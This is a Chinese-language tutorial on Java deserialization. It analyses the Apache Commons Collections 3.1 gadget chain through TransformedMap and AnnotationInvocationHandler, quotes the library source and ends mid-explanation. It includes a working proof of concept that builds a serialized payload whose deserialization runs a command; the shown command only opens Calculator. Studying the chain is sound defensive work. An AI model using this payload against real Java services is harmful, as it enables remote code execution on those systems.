Java反序列化漏洞-Commons-Collections组件

2020-08-17 9,795

简述

Java反序列化漏洞的入门文章,目的是希望能较为详细的阐述记录一些涉及到的java安全基本概念。分析"2015年最被低估"但实际威力巨大的Apache Commons Collections组件漏洞,研究POC具体的构造原理,加深对java反序列化漏洞的理解,不足之处慢慢补充。


环境

IDEA + Maven:

调试代码阅读 + 环境依赖配置,在Pom.xml设置commons-collections的版本为3.1

<dependencies>
 <dependency>
   <groupId>commons-collections</groupId>
   <artifactId>commons-collections</artifactId>
   <version>3.1</version>
 </dependency>
</dependencies>

JDK版本为老版本的JDK1.7:

➜  Test java -version
java version "1.7.0_15"
Java(TM) SE Runtime Environment (build 1.7.0_15-b03)
Java HotSpot(TM) 64-Bit Server VM (build 23.7-b01, mixed mode)


序列化和反序列化

序列化(Serialization),将对象的状态信息转化为可以存储或者传输的形式的过程,一个对象可以被表示为一个字节序列,该字节序列包括该对象的数据、有关对象的类型的信息和存储在对象中数据的类型。一般将一个对象存储到一个储存媒介,例如档案或记忆体缓冲等;若网络传输过程,可以是字节或者XML等格式;

反序列化(unSerialization),将存储对象的字节或者XML格式等(存储媒介)还原成完全相等的对象,这个与序列化相反的过程又称为反序列化。

一个类的对象要想序列化成功,必须满足两个条件:

  • 该类必须实现 java.io.Serializable接口。

  • 该类的所有属性必须是可序列化的。如果有一个属性不是可序列化的(属性包含对不可序列化类的引用),则该属性必须注明是短暂的(使用transient关键字修饰)。

序列化、反序列化测试代码

Employee.java

import java.io.Serializable;

public class Employee implements Serializable {
   public String name;
   public String address;
   public transient int SSN;
   public int number;

   public void mailCheck() {
       System.out.println("Mailing a check to " + name + " " + address);
   }
}

SerializeDemo.java

import java.io.*;

public class SerializeDemo {
   public static void main(String[] args) {
       Employee e = new Employee();
       e.name = "Reyan Ali";
       e.address = "Phokka Kuan, Ambehta Peer";
       e.SSN = 11122333;
       e.number = 101;
       try {
           FileOutputStream fileOut =
                   new FileOutputStream("employee.ser");
           ObjectOutputStream out = new ObjectOutputStream(fileOut);
           out.writeObject(e);
           out.close();
           fileOut.close();
           System.out.println("Serialized data is saved in employee.ser");
       } catch (IOException i) {
           i.printStackTrace();
       }
       System.out.println("============================================");
       try
       {d
           FileInputStream fileIn = new FileInputStream("employee.ser");
           ObjectInputStream in = new ObjectInputStream(fileIn);
           e = (Employee) in.readObject();
           in.close();
           fileIn.close();
       }catch(IOException i)
       {
           i.printStackTrace();
           return;
       }catch(ClassNotFoundException c)
       {
           System.out.println("Employee class not found");
           c.printStackTrace();
           return;
       }
       System.out.println("Deserialized Employee...");
       System.out.println("Name: " + e.name);
       System.out.println("Address: " + e.address);
       System.out.println("SSN: " + e.SSN);
       System.out.println("Number: " + e.number);
   }
}


创建Employee类的实例e,序列化存储到employee.ser中。除了被transient修饰从而被忽略的SSN属性,其他的属性在反序列化后均正确还原,控制台输出结果如下:

Serialized data is saved in employee.ser
============================================
Deserialized Employee...
Name: Reyan Ali
Address: Phokka Kuan, Ambehta Peer
SSN: 0
Number: 101
  • 通过重写Employee类的writeObject方法,可以重新定义对象序列化时的操作,内部可以调用defaultWriteObject()来执行默认的writeObject

  • 通过重写Employee类的readObject方法,可以重新定义对象反序列化时的操作,内部可以调用defaultReadObject()来执行默认的readObject

比如在反序列化时,通过Runtime.getRuntime().exec打开计算器:

import java.io.Serializable;

public class Employee implements Serializable {
   public String name;
   public String address;
   public transient int SSN;
   public int number;

   public void mailCheck() {
       System.out.println("Mailing a check to " + name + " " + address);
   }

   private void writeObject(java.io.ObjectOutputStream s)throws java.io.IOException, ClassNotFoundException{
       s.defaultWriteObject();
   }

   private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException{
       s.defaultReadObject();
       //Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "ls >> output.txt"});
       Runtime.getRuntime().exec("/System/Applications/Calculator.app");
   }
}


JAVA反射

反射 (Reflection) 是 Java 的特征之一,可以在运行时获得程序或程序集中每一个类型的成员和成员的信息。

程序中一般的对象的类型都是在编译期就确定下来的,而 Java 反射机制可以动态地创建对象并调用其属性,这样的对象的类型在编译期是未知的。所以可以通过反射机制直接创建对象,即使这个对象的类型在编译期是未知的。


Java 反射主要提供以下功能:

  • 在运行时,判断任意一个对象所属的类;

  • 在运行时,构造任意一个类的对象;

  • 在运行时,判断任意一个类所具有的成员变量和方法(通过反射甚至可以调用private方法);

  • 在运行时,调用任意一个对象的方法;


获取对象

  • obj.getClass() ,通过对象实例的getClass()方法获取。

  • TestClass.class,通过TestClass类的class属性获取。

  • Class.forName,静态方法,同样可以用来加载类。


判断实例所属类

一般情况通过关键字instanceof判断对象是否为某个类的实例,在反射中可以通过实例对象的class属性的isInstance()方法进行判断

Obj.class.isInstance(Object)


创建实例

无参构造

Class clazz = Class.forName("java.lang.String");
Object instance = c.newInstance();

有参构造

Class clazz = Class.forName("java.lang.String");
Constructor cla = clazz.getDeclaredConstructor(String.class);//获取构造函数的构造器
Object obj = cla.newInstance("a");//调用构造器生成对象
System.out.println(obj);

/*
********* getConstructor()和getDeclaredConstructor()区别:*********

getDeclaredConstructor(Class<?>... parameterTypes)
这个方法会返回制定参数类型的所有构造器,包括public的和非public的,当然也包括private的。
getDeclaredConstructors()的返回结果就没有参数类型的过滤了。

再来看getConstructor(Class<?>... parameterTypes)
这个方法返回的是上面那个方法返回结果的子集,只返回制定参数类型访问权限是public的构造器。
getConstructors()的返回结果同样也没有参数类型的过滤。
*/


获取方法

获取某个Class对象的方法集合,主要有以下几个方法:

  • getDeclaredMethods 方法返回类或接口声明的所有方法,包括公共、保护、默认(包)访问和私有方法,但不包括继承的方法。

public Method[] getDeclaredMethods() throws SecurityException
  • getMethods 方法返回某个类的所有公用(public)方法,包括其继承类的公用方法。

public Method[] getMethods() throws SecurityException
  • getMethod 方法返回一个特定的方法,其中第一个参数为方法名称,后面的参数为方法的参数对应Class的对象。

public Method getMethod(String name, Class<?>... parameterTypes)


执行方法

invoke 的作用是执行方法

public Object invoke(Object obj, Object... args)
       throws IllegalAccessException, IllegalArgumentException,
          InvocationTargetException

第一个参数需要注意:

  • 如果这个方法是一个普通方法,那么第一个参数是实例对象。

  • 如果这个方法是一个静态方法,那么第一个参数是类。


通过执行命令

Demo中反序列化时重写了readObject()方法,并且包含危险操作打开计算器。实际情况中则一般没有这么弱智的代码,需要我们自己通过反射构造Runtime.getRuntime().exec("AAAAA");,完成命令执行。

获取Runtime

Class clazz = Class.forName("java.lang.Runtime");

获取Runtime.getRuntime方法

Method getRuntimeMethod = clazz.getMethod("getRuntime");

调用Runtime.getRuntime方法获取Runtime实例

Object runtime = getRuntimeMethod.invoke(clazz);

获取Runtimeexec方法

Method execMethod = clazz.getMethod("exec", String.class);

调用exec方法

execMethod.invoke(runtime, "/System/Applications/Calculator.app");


Runtime类就是单例模式,需要通过Runtime.getRuntime() 来获取到Runtime单例对象

public class Runtime {
   private static Runtime currentRuntime = new Runtime();

   /**
    * Returns the runtime object associated with the current Java application.
    * Most of the methods of class <code>Runtime</code> are instance
    * methods and must be invoked with respect to the current runtime object.
    *
    * @return  the <code>Runtime</code> object associated with the current
    *          Java application.
    */
   public static Runtime getRuntime() {
       return currentRuntime;
   }

   /** Don't let anyone else instantiate this class */
   private Runtime() {}
  //..............
   //..............
  //..............
}


Commons Collections组件

实际环境中Commons Collections + AnnotationInvocationHandler 组件非常经典,首先看Commons Collections单独测试代码,涉及到的类将会逐个剖析。

单独POC代码:

Transformer[] trans = new Transformer[]{
       new ConstantTransformer(Runtime.class),
       new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
       new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
       new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"})
};
Transformer chain = new ChainedTransformer(trans);

Map normalMap = new HashMap();
normalMap.put("value", "value");
Map transformedMap = TransformedMap.decorate(normalMap, null, chain);
Map.Entry entry = (Map.Entry) transformedMap.entrySet().iterator().next();
entry.setValue("test");


org/apache/commons/collections/Transformer.java

public interface Transformer {

   public Object transform(Object input);

}

使用匿名类Transformer创建数组数组,包含4个对象,分别为ConstantTransformerInvokerTransformer类的实例(均实现Serializable接口),还需要注意每个类的transform方法。


org/apache/commons/collections/functors/ConstantTransformer.java

public class ConstantTransformer implements Transformer, Serializable {

   /** Serial version UID */
   static final long serialVersionUID = 6374440726369055124L;
   
   /** Returns null each time */
   public static final Transformer NULL_INSTANCE = new ConstantTransformer(null);

   /** The closures to call in turn */
   private final Object iConstant;

   public static Transformer getInstance(Object constantToReturn) {
       if (constantToReturn == null) {
           return NULL_INSTANCE;
       }
       return new ConstantTransformer(constantToReturn);
   }
   
   public ConstantTransformer(Object constantToReturn) {
       super();
       iConstant = constantToReturn;
   }

   public Object transform(Object input) {
       return iConstant;
   }

   public Object getConstant() {
       return iConstant;
   }

}

ConstantTransformer类的transform方法直接返回iConstant对象


org/apache/commons/collections/functors/InvokerTransformer.java

package org.apache.commons.collections.functors;

import java.io.Serializable;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

import org.apache.commons.collections.FunctorException;
import org.apache.commons.collections.Transformer;

public class InvokerTransformer implements Transformer, Serializable {

   /** The serial version */
   static final long serialVersionUID = -8653385846894047688L;
   
   /** The method name to call */
   private final String iMethodName;
   /** The array of reflection parameter types */
   private final Class[] iParamTypes;
   /** The array of reflection arguments */
   private final Object[] iArgs;

   public static Transformer getInstance(String methodName) {
       if (methodName == null) {
           throw new IllegalArgumentException("The method to invoke must not be null");
       }
       return new InvokerTransformer(methodName);
   }

   public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {
       if (methodName == null) {
           throw new IllegalArgumentException("The method to invoke must not be null");
       }
       if (((paramTypes == null) && (args != null))
           || ((paramTypes != null) && (args == null))
           || ((paramTypes != null) && (args != null) && (paramTypes.length != args.length))) {
           throw new IllegalArgumentException("The parameter types must match the arguments");
       }
       if (paramTypes == null || paramTypes.length == 0) {
           return new InvokerTransformer(methodName);
       } else {
           paramTypes = (Class[]) paramTypes.clone();
           args = (Object[]) args.clone();
           return new InvokerTransformer(methodName, paramTypes, args);
       }
   }

   private InvokerTransformer(String methodName) {
       super();
       iMethodName = methodName;
       iParamTypes = null;
       iArgs = null;
   }

   public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
       super();
       iMethodName = methodName;
       iParamTypes = paramTypes;
       iArgs = args;
   }

   public Object transform(Object input) {
       if (input == null) {
           return null;
       }
       try {
           Class cls = input.getClass();
           Method method = cls.getMethod(iMethodName, iParamTypes);
           return method.invoke(input, iArgs);
               
       } catch (NoSuchMethodException ex) {
           throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
       } catch (IllegalAccessException ex) {
           throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
       } catch (InvocationTargetException ex) {
           throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
       }
   }

}

InvokerTransformer类的transform中,若InvokerTransformer类的构造函数iMethodNameiParamTypes参数以及传入transform函数的input可控,则可以利用反射对任意类的方法进行调用并返回。


对POC的Transformer数组进行跟踪分析

第一个InvokerTransformer对象的属性如下:

image-20200423170227638.png

第二个InvokerTransformer对象的属性如下:

image-20200423170502875.png

第三个InvokerTransformer对象的属性如下:

image-20200423170544729.png

org/apache/commons/collections/functors/ChainedTransformer.java

package org.apache.commons.collections.functors;

import java.io.Serializable;
import java.util.Collection;
import java.util.Iterator;
import org.apache.commons.collections.Transformer;


public class ChainedTransformer implements Transformer, Serializable {

   /** Serial version UID */
   static final long serialVersionUID = 3514945074733160196L;

   /** The transformers to call in turn */
   private final Transformer[] iTransformers;


   public static Transformer getInstance(Transformer[] transformers) {
       FunctorUtils.validate(transformers);
       if (transformers.length == 0) {
           return NOPTransformer.INSTANCE;
       }
       transformers = FunctorUtils.copy(transformers);
       return new ChainedTransformer(transformers);
   }
   
   public static Transformer getInstance(Collection transformers) {
       if (transformers == null) {
           throw new IllegalArgumentException("Transformer collection must not be null");
       }
       if (transformers.size() == 0) {
           return NOPTransformer.INSTANCE;
       }
       // convert to array like this to guarantee iterator() ordering
       Transformer[] cmds = new Transformer[transformers.size()];
       int i = 0;
       for (Iterator it = transformers.iterator(); it.hasNext();) {
           cmds[i++] = (Transformer) it.next();
       }
       FunctorUtils.validate(cmds);
       return new ChainedTransformer(cmds);
   }

   public static Transformer getInstance(Transformer transformer1, Transformer transformer2) {
       if (transformer1 == null || transformer2 == null) {
           throw new IllegalArgumentException("Transformers must not be null");
       }
       Transformer[] transformers = new Transformer[] { transformer1, transformer2 };
       return new ChainedTransformer(transformers);
   }

   
   public ChainedTransformer(Transformer[] transformers) {
       super();
       iTransformers = transformers;
   }
 
   public Object transform(Object object) {
       for (int i = 0; i < iTransformers.length; i++) {
           object = iTransformers[i].transform(object);
       }
       return object;
   }


   public Transformer[] getTransformers() {
       return iTransformers;
   }

}

ChainedTransformertransform方法会遍历每个元素,并将结果作为下一个元素transform方法的构造参数传入。

Transformer数组作为构造参数传入ChainedTransformer并实例化对象chain,展开如下:

image-20200423172716930.png

创建HashMap对象normalMapput内容,然后将HashMap对象和chain作为构造参数传入TransformedMap.decorate(通过该函数调用构造函数)

Map normalMap = new HashMap();
normalMap.put("value", "value");
Map transformedMap = TransformedMap.decorate(normalMap, null, chain);

此时的变量内容如下:

image-20200423210609495.png

org/apache/commons/collections/map/TransformedMap.java

package org.apache.commons.collections.map;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.util.Iterator;
import java.util.Map;

import org.apache.commons.collections.Transformer;


public class TransformedMap
       extends AbstractInputCheckedMapDecorator
       implements Serializable {

   /** Serialization version */
   private static final long serialVersionUID = 7023152376788900464L;

   /** The transformer to use for the key */
   protected final Transformer keyTransformer;
   /** The transformer to use for the value */
   protected final Transformer valueTransformer;


   public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
       return new TransformedMap(map, keyTransformer, valueTransformer);
   }

   protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
       super(map);
       this.keyTransformer = keyTransformer;
       this.valueTransformer = valueTransformer;
   }


   private void writeObject(ObjectOutputStream out) throws IOException {
       out.defaultWriteObject();
       out.writeObject(map);
   }

   private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
       in.defaultReadObject();
       map = (Map) in.readObject();
   }

   protected Object transformKey(Object object) {
       if (keyTransformer == null) {
           return object;
       }
       return keyTransformer.transform(object);
   }

   protected Object transformValue(Object object) {
       if (valueTransformer == null) {
           return object;
       }
       return valueTransformer.transform(object);
   }

   protected Map transformMap(Map map) {
       Map result = new LinkedMap(map.size());
       for (Iterator it = map.entrySet().iterator(); it.hasNext(); ) {
           Map.Entry entry = (Map.Entry) it.next();
           result.put(transformKey(entry.getKey()), transformValue(entry.getValue()));
       }
       return result;
   }


   protected Object checkSetValue(Object value) {
       return valueTransformer.transform(value);
   }


   protected boolean isSetValueChecking() {
       return (valueTransformer != null);
   }

   //-----------------------------------------------------------------------
   public Object put(Object key, Object value) {
       key = transformKey(key);
       value = transformValue(value);
       return getMap().put(key, value);
   }

   public void putAll(Map mapToCopy) {
       mapToCopy = transformMap(mapToCopy);
       getMap().putAll(mapToCopy);
   }

}


Map.Entry entry = (Map.Entry) transformedMap.entrySet().iterator().next();
entry.setValue("test");

其实这一段是参照AnnotationInvocationHandler组件的readObject函数模拟触发的执行流程,相当于Runtime.getRuntime().exec("XXXX")

AnnotationInvocationHandler组件

完全通过AnnotationInvocationHandler进行跟踪分析,此时修改POC如下:

import org.apache.commons.collections.Factory;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class Test {
   public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IOException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException {
       Transformer[] trans = new Transformer[]{
               new ConstantTransformer(Runtime.class),
               new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
               new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
               new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"})
       };
       Transformer chain = new ChainedTransformer(trans);

       Map normalMap = new HashMap();
       normalMap.put("value", "value");
       Map transformedMap = TransformedMap.decorate(normalMap, null, chain);

     
      //前面部分相同,此处开始使用AnnotationInvocationHandler
       Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
       Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
       //取消构造函数修饰符限制
       ctor.setAccessible(true);

       //获取AnnotationInvocationHandler类实例
       Object instance = ctor.newInstance(Target.class, transformedMap);

       //payload序列化写入文件,模拟网络传输
       FileOutputStream f = new FileOutputStream("payload.bin");
       ObjectOutputStream fout = new ObjectOutputStream(f);
       fout.writeObject(instance);

       //2.服务端读取文件,反序列化,模拟网络传输
       FileInputStream fi = new FileInputStream("payload.bin");
       ObjectInputStream fin = new ObjectInputStream(fi);
       //服务端反序列化
       fin.readObject();
   }
}

前面部分相同,通过反射加载sun.reflect.annotation.AnnotationInvocationHandler类,设置构造函数的构造器参数为MAP,并且通过setAccessible取消修饰符限制,然后将transformedMap作为参数传入并创建实例instance

/Library/Java/JavaVirtualMachines/jdk1.7.0_15.jdk/Contents/Home/jre/lib/rt.jar!/sun/reflect/annotation/AnnotationInvocationHandler.class

package sun.reflect.annotation;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.lang.annotation.Annotation;
import java.lang.annotation.IncompleteAnnotationException;
import java.lang.reflect.AccessibleObject;
import java.lang.reflect.Array;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.security.AccessController;
import java.security.PrivilegedAction;
import java.util.Arrays;
import java.util.Iterator;
import java.util.Map;
import java.util.Map.Entry;

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
   private static final long serialVersionUID = 6182022883658399397L;
   private final Class<? extends Annotation> type;
   private final Map<String, Object> memberValues;
   private transient volatile Method[] memberMethods = null;

   AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
       this.type = var1;
       this.memberValues = var2;
   }

   public Object invoke(Object var1, Method var2, Object[] var3) {
       String var4 = var2.getName();
       Class[] var5 = var2.getParameterTypes();
       if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
           return this.equalsImpl(var3[0]);
       } else {
           assert var5.length == 0;

           if (var4.equals("toString")) {
               return this.toStringImpl();
           } else if (var4.equals("hashCode")) {
               return this.hashCodeImpl();
           } else if (var4.equals("annotationType")) {
               return this.type;
           } else {
               Object var6 = this.memberValues.get(var4);
               if (var6 == null) {
                   throw new IncompleteAnnotationException(this.type, var4);
               } else if (var6 instanceof ExceptionProxy) {
                   throw ((ExceptionProxy)var6).generateException();
               } else {
                   if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
                       var6 = this.cloneArray(var6);
                   }

                   return var6;
               }
           }
       }
   }

   private Object cloneArray(Object var1) {
       Class var2 = var1.getClass();
       if (var2 == byte[].class) {
           byte[] var6 = (byte[])((byte[])var1);
           return var6.clone();
       } else if (var2 == char[].class) {
           char[] var5 = (char[])((char[])var1);
           return var5.clone();
       } else if (var2 == double[].class) {
           double[] var4 = (double[])((double[])var1);
           return var4.clone();
       } else if (var2 == float[].class) {
           float[] var11 = (float[])((float[])var1);
           return var11.clone();
       } else if (var2 == int[].class) {
           int[] var10 = (int[])((int[])var1);
           return var10.clone();
       } else if (var2 == long[].class) {
           long[] var9 = (long[])((long[])var1);
           return var9.clone();
       } else if (var2 == short[].class) {
           short[] var8 = (short[])((short[])var1);
           return var8.clone();
       } else if (var2 == boolean[].class) {
           boolean[] var7 = (boolean[])((boolean[])var1);
           return var7.clone();
       } else {
           Object[] var3 = (Object[])((Object[])var1);
           return var3.clone();
       }
   }

   private String toStringImpl() {
       StringBuffer var1 = new StringBuffer(128);
       var1.append('@');
       var1.append(this.type.getName());
       var1.append('(');
       boolean var2 = true;
       Iterator var3 = this.memberValues.entrySet().iterator();

       while(var3.hasNext()) {
           Entry var4 = (Entry)var3.next();
           if (var2) {
               var2 = false;
           } else {
               var1.append(", ");
           }

           var1.append((String)var4.getKey());
           var1.append('=');
           var1.append(memberValueToString(var4.getValue()));
       }

       var1.append(')');
       return var1.toString();
   }

   private static String memberValueToString(Object var0) {
       Class var1 = var0.getClass();
       if (!var1.isArray()) {
           return var0.toString();
       } else if (var1 == byte[].class) {
           return Arrays.toString((byte[])((byte[])var0));
       } else if (var1 == char[].class) {
           return Arrays.toString((char[])((char[])var0));
       } else if (var1 == double[].class) {
           return Arrays.toString((double[])((double[])var0));
       } else if (var1 == float[].class) {
           return Arrays.toString((float[])((float[])var0));
       } else if (var1 == int[].class) {
           return Arrays.toString((int[])((int[])var0));
       } else if (var1 == long[].class) {
           return Arrays.toString((long[])((long[])var0));
       } else if (var1 == short[].class) {
           return Arrays.toString((short[])((short[])var0));
       } else {
           return var1 == boolean[].class ? Arrays.toString((boolean[])((boolean[])var0)) : Arrays.toString((Object[])((Object[])var0));
       }
   }

   private Boolean equalsImpl(Object var1) {
       if (var1 == this) {
           return true;
       } else if (!this.type.isInstance(var1)) {
           return false;
       } else {
           Method[] var2 = this.getMemberMethods();
           int var3 = var2.length;

           for(int var4 = 0; var4 < var3; ++var4) {
               Method var5 = var2[var4];
               String var6 = var5.getName();
               Object var7 = this.memberValues.get(var6);
               Object var8 = null;
               AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
               if (var9 != null) {
                   var8 = var9.memberValues.get(var6);
               } else {
                   try {
                       var8 = var5.invoke(var1);
                   } catch (InvocationTargetException var11) {
                       return false;
                   } catch (IllegalAccessException var12) {
                       throw new AssertionError(var12);
                   }
               }

               if (!memberValueEquals(var7, var8)) {
                   return false;
               }
           }

           return true;
       }
   }

   private AnnotationInvocationHandler asOneOfUs(Object var1) {
       if (Proxy.isProxyClass(var1.getClass())) {
           InvocationHandler var2 = Proxy.getInvocationHandler(var1);
           if (var2 instanceof AnnotationInvocationHandler) {
               return (AnnotationInvocationHandler)var2;
           }
       }

       return null;
   }

   private static boolean memberValueEquals(Object var0, Object var1) {
       Class var2 = var0.getClass();
       if (!var2.isArray()) {
           return var0.equals(var1);
       } else if (var0 instanceof Object[] && var1 instanceof Object[]) {
           return Arrays.equals((Object[])((Object[])var0), (Object[])((Object[])var1));
       } else if (var1.getClass() != var2) {
           return false;
       } else if (var2 == byte[].class) {
           return Arrays.equals((byte[])((byte[])var0), (byte[])((byte[])var1));
       } else if (var2 == char[].class) {
           return Arrays.equals((char[])((char[])var0), (char[])((char[])var1));
       } else if (var2 == double[].class) {
           return Arrays.equals((double[])((double[])var0), (double[])((double[])var1));
       } else if (var2 == float[].class) {
           return Arrays.equals((float[])((float[])var0), (float[])((float[])var1));
       } else if (var2 == int[].class) {
           return Arrays.equals((int[])((int[])var0), (int[])((int[])var1));
       } else if (var2 == long[].class) {
           return Arrays.equals((long[])((long[])var0), (long[])((long[])var1));
       } else if (var2 == short[].class) {
           return Arrays.equals((short[])((short[])var0), (short[])((short[])var1));
       } else {
           assert var2 == boolean[].class;

           return Arrays.equals((boolean[])((boolean[])var0), (boolean[])((boolean[])var1));
       }
   }

   private Method[] getMemberMethods() {
       if (this.memberMethods == null) {
           this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
               public Method[] run() {
                   Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods();
                   AccessibleObject.setAccessible(var1, true);
                   return var1;
               }
           });
       }

       return this.memberMethods;
   }

   private int hashCodeImpl() {
       int var1 = 0;

       Entry var3;
       for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
           var3 = (Entry)var2.next();
       }

       return var1;
   }

   private static int memberValueHashCode(Object var0) {
       Class var1 = var0.getClass();
       if (!var1.isArray()) {
           return var0.hashCode();
       } else if (var1 == byte[].class) {
           return Arrays.hashCode((byte[])((byte[])var0));
       } else if (var1 == char[].class) {
           return Arrays.hashCode((char[])((char[])var0));
       } else if (var1 == double[].class) {
           return Arrays.hashCode((double[])((double[])var0));
       } else if (var1 == float[].class) {
           return Arrays.hashCode((float[])((float[])var0));
       } else if (var1 == int[].class) {
           return Arrays.hashCode((int[])((int[])var0));
       } else if (var1 == long[].class) {
           return Arrays.hashCode((long[])((long[])var0));
       } else if (var1 == short[].class) {
           return Arrays.hashCode((short[])((short[])var0));
       } else {
           return var1 == boolean[].class ? Arrays.hashCode((boolean[])((boolean[])var0)) : Arrays.hashCode((Object[])((Object[])var0));
       }
   }

   private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
       var1.defaultReadObject();
       AnnotationType var2 = null;

       try {
           var2 = AnnotationType.getInstance(this.type);
       } catch (IllegalArgumentException var9) {
           return;
       }

       Map var3 = var2.memberTypes();
       Iterator var4 = this.memberValues.entrySet().iterator();

       while(var4.hasNext()) {
           Entry var5 = (Entry)var4.next();
           String var6 = (String)var5.getKey();
           Class var7 = (Class)var3.get(var6);
           if (var7 != null) {
               Object var8 = var5.getValue();
               if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                   var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
               }
           }
       }

   }
}

AnnotationInvocationHandler的构造参数中,将两个参数存入了自身的两个属性中:

image-20200424003308934.png

然后将对象序列化存储,接着反序列化触发readObject函数,其实上面的代码就是模拟这里的。

image-20200424124441313.png

此时关键变量数据如下:

image-20200424140124849.png

分析代码

Iterator var4 = this.memberValues.entrySet().iterator();

entrySet().iterator()链式调用会返回类型为AbstractInputCheckedMapDecorator的对象,并且将包含精心构造恶意代码的TransformedMap对象放进parent属性中。

image-20200424231944822.png

具体代码如下:

org/apache/commons/collections/map/AbstractInputCheckedMapDecorator.java

package org.apache.commons.collections.map;

import java.lang.reflect.Array;
import java.util.Iterator;
import java.util.Map;
import java.util.Set;

import org.apache.commons.collections.iterators.AbstractIteratorDecorator;
import org.apache.commons.collections.keyvalue.AbstractMapEntryDecorator;
import org.apache.commons.collections.set.AbstractSetDecorator;


abstract class AbstractInputCheckedMapDecorator
       extends AbstractMapDecorator {

   /**
    * Constructor only used in deserialization, do not use otherwise.
    */
   protected AbstractInputCheckedMapDecorator() {
       super();
   }


   protected AbstractInputCheckedMapDecorator(Map map) {
       super(map);
   }

   protected abstract Object checkSetValue(Object value);


   protected boolean isSetValueChecking() {
       return true;
   }

   //-----------------------------------------------------------------------
   public Set entrySet() {
       if (isSetValueChecking()) {
           return new EntrySet(map.entrySet(), this);
       } else {
           return map.entrySet();
       }
   }

   //-----------------------------------------------------------------------
   /**
    * Implementation of an entry set that checks additions via setValue.
    */
   static class EntrySet extends AbstractSetDecorator {
       
       /** The parent map */
       private final AbstractInputCheckedMapDecorator parent;

       protected EntrySet(Set set, AbstractInputCheckedMapDecorator parent) {
           super(set);
           this.parent = parent;
       }

       public Iterator iterator() {
           return new EntrySetIterator(collection.iterator(), parent);
       }
       
       public Object[] toArray() {
           Object[] array = collection.toArray();
           for (int i = 0; i < array.length; i++) {
               array[i] = new MapEntry((Map.Entry) array[i], parent);
           }
           return array;
       }
       
       public Object[] toArray(Object array[]) {
           Object[] result = array;
           if (array.length > 0) {
               // we must create a new array to handle multi-threaded situations
               // where another thread could access data before we decorate it
               result = (Object[]) Array.newInstance(array.getClass().getComponentType(), 0);
           }
           result = collection.toArray(result);
           for (int i = 0; i < result.length; i++) {
               result[i] = new MapEntry((Map.Entry) result[i], parent);
           }

           // check to see if result should be returned straight
           if (result.length > array.length) {
               return result;
           }

           // copy back into input array to fulfil the method contract
           System.arraycopy(result, 0, array, 0, result.length);
           if (array.length > result.length) {
               array[result.length] = null;
           }
           return array;
       }
   }

   /**
    * Implementation of an entry set iterator that checks additions via setValue.
    */
   static class EntrySetIterator extends AbstractIteratorDecorator {
       
       /** The parent map */
       private final AbstractInputCheckedMapDecorator parent;
       
       protected EntrySetIterator(Iterator iterator, AbstractInputCheckedMapDecorator parent) {
           super(iterator);
           this.parent = parent;
       }
       
       public Object next() {
           Map.Entry entry = (Map.Entry) iterator.next();
           return new MapEntry(entry, parent);
       }
   }

   /**
    * Implementation of a map entry that checks additions via setValue.
    */
   static class MapEntry extends AbstractMapEntryDecorator {

       /** The parent map */
       private final AbstractInputCheckedMapDecorator parent;

       protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
           super(entry);
           this.parent = parent;
       }

       public Object setValue(Object value) {
           value = parent.checkSetValue(value);
           return entry.setValue(value);
       }
   }

}

然后调用AbstractInputCheckedMapDecoratorsetValue方法:

